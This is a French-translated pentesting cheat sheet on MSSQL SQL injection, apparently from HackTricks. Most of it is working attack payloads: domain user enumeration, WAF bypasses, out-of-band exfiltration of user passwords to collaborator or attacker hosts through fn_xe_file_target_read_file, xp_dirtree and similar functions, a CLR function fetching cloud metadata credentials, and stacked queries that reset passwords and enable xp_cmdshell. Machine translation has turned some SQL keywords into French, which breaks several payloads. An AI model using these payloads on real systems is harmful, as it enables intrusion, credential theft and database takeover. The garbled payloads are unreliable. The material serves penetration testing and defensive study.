Injection MSSQL

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

ÉnumĂ©ration Active Directory

Il peut ĂȘtre possible de Ă©numĂ©rer les utilisateurs de domaine via une injection SQL Ă  l'intĂ©rieur d'un serveur MSSQL en utilisant les fonctions MSSQL suivantes :

  • SELECT DEFAULT_DOMAIN() : Obtenir le nom de domaine actuel.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')) : Si vous connaissez le nom du domaine (DOMAIN dans cet exemple), cette fonction renverra le SID de l'utilisateur Administrator au format hexadĂ©cimal. Cela ressemblera Ă  0x01050000000[...]0000f401, notez comment les derniers 4 octets sont le nombre 500 au format big endian, qui est le ID commun de l'utilisateur administrateur.
    Cette fonction vous permettra de connaĂźtre l'ID du domaine (tous les octets sauf les 4 derniers).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Cette fonction renverra le nom d'utilisateur de l'ID indiquĂ© (le cas Ă©chĂ©ant), dans ce cas 0000e803 en big endian == 1000 (gĂ©nĂ©ralement, c'est l'ID du premier utilisateur rĂ©gulier crĂ©Ă©). Ensuite, vous pouvez imaginer que vous pouvez brute-forcer les ID d'utilisateur de 1000 Ă  2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple, en utilisant une fonction comme la suivante :
python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vecteurs alternatifs basés sur les erreurs

Les injections SQL basĂ©es sur les erreurs ressemblent gĂ©nĂ©ralement Ă  des constructions telles que +AND+1=@@version-- et des variantes basĂ©es sur l'opĂ©rateur «OR». Les requĂȘtes contenant de telles expressions sont gĂ©nĂ©ralement bloquĂ©es par les WAF. Comme contournement, concatĂ©nez une chaĂźne en utilisant le caractĂšre %2b avec le rĂ©sultat d'appels de fonctions spĂ©cifiques qui dĂ©clenchent une erreur de conversion de type de donnĂ©es sur les donnĂ©es recherchĂ©es.

Quelques exemples de telles fonctions :

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Exemple d'utilisation de la fonction USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ces astuces SSRF ont été prises ici

fn_xe_file_target_read_file

Cela nécessite la permission VIEW SERVER STATE sur le serveur.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Il nécessite la permission CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Il nécessite la permission CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Les procédures stockées comme xp_dirtree, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données hors bande, comme le montrent divers exemples et articles.

La procĂ©dure stockĂ©e xp_dirtree, par exemple, est utilisĂ©e pour effectuer des requĂȘtes rĂ©seau, mais elle est limitĂ©e au port TCP 445. Le numĂ©ro de port n'est pas modifiable, mais il permet de lire Ă  partir de partages rĂ©seau. L'utilisation est dĂ©montrĂ©e dans le script SQL ci-dessous :

sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Il est à noter que cette méthode pourrait ne pas fonctionner sur toutes les configurations systÚme, comme sur Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) fonctionnant sur un Windows Server 2016 Datacenter avec les paramÚtres par défaut.

De plus, il existe des procĂ©dures stockĂ©es alternatives comme master..xp_fileexist et xp_subdirs qui peuvent obtenir des rĂ©sultats similaires. Des dĂ©tails supplĂ©mentaires sur xp_fileexist peuvent ĂȘtre trouvĂ©s dans cet article TechNet.

xp_cmdshell

Évidemment, vous pourriez Ă©galement utiliser xp_cmdshell pour exĂ©cuter quelque chose qui dĂ©clenche un SSRF. Pour plus d'infos, lisez la section pertinente sur la page :

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Créer une UDF CLR (User Defined Function Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé en une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accÚs dbo. Cela signifie qu'il est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que sa ou avec un rÎle d'administrateur.

Un projet Visual Studio et des instructions d'installation sont fournis dans ce dĂ©pĂŽt Github pour faciliter le chargement du binaire dans MSSQL en tant qu'assemblage CLR, permettant ainsi l'exĂ©cution de requĂȘtes HTTP GET depuis MSSQL.

Le cƓur de cette fonctionnalitĂ© est encapsulĂ© dans le fichier http.cs, qui utilise la classe WebClient pour exĂ©cuter une requĂȘte GET et rĂ©cupĂ©rer le contenu comme illustrĂ© ci-dessous :

csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Avant d'exécuter la commande SQL CREATE ASSEMBLY, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hachage SHA512 de l'assemblage à la liste des assemblages de confiance du serveur (visible via select * from sys.trusted_assemblies;):

sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

AprĂšs avoir ajoutĂ© l'assemblage avec succĂšs et crĂ©Ă© la fonction, le code SQL suivant peut ĂȘtre utilisĂ© pour effectuer des requĂȘtes HTTP :

sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Exploitation Rapide : RĂ©cupĂ©ration du Contenu Complet d'une Table en Une Seule RequĂȘte

Truc d'ici.

Une mĂ©thode concise pour extraire le contenu complet d'une table en une seule requĂȘte consiste Ă  utiliser la clause FOR JSON. Cette approche est plus succincte que l'utilisation de la clause FOR XML, qui nĂ©cessite un mode spĂ©cifique comme "raw". La clause FOR JSON est prĂ©fĂ©rĂ©e pour sa briĂšvetĂ©.

Voici comment récupérer le schéma, les tables et les colonnes de la base de données actuelle :

`sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```
https://vuln.app/getItem?id=1'+et+1=(sélectionner+concat_ws(0x3a,table_schema,table_name,column_name)a+de+information_schema.columns+pour+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 ОлО %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

utiliser [tempdb]  
créer table [test] ([id] int)  
insérer [test] valeurs(1)  
sélectionner [id] de [test]  
supprimer table[test]

Can be reduced to:

utiliser[tempdb]créer/**/table[test]([id]int)insérer[test]valeurs(1)sélectionner[id]de[test]supprimer/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Ajouter un exec() inutile Ă  la fin et faire croire au WAF que ce n'est pas une requĂȘte valide
admina'union select 1,'admin','testtest123'exec('select 1')--
## Cela sera :
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Utiliser des requĂȘtes Ă©trangement construites
admin'exec('update[users]set[password]=''a''')--
## Cela sera :
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Ou activer xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Cela sera
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--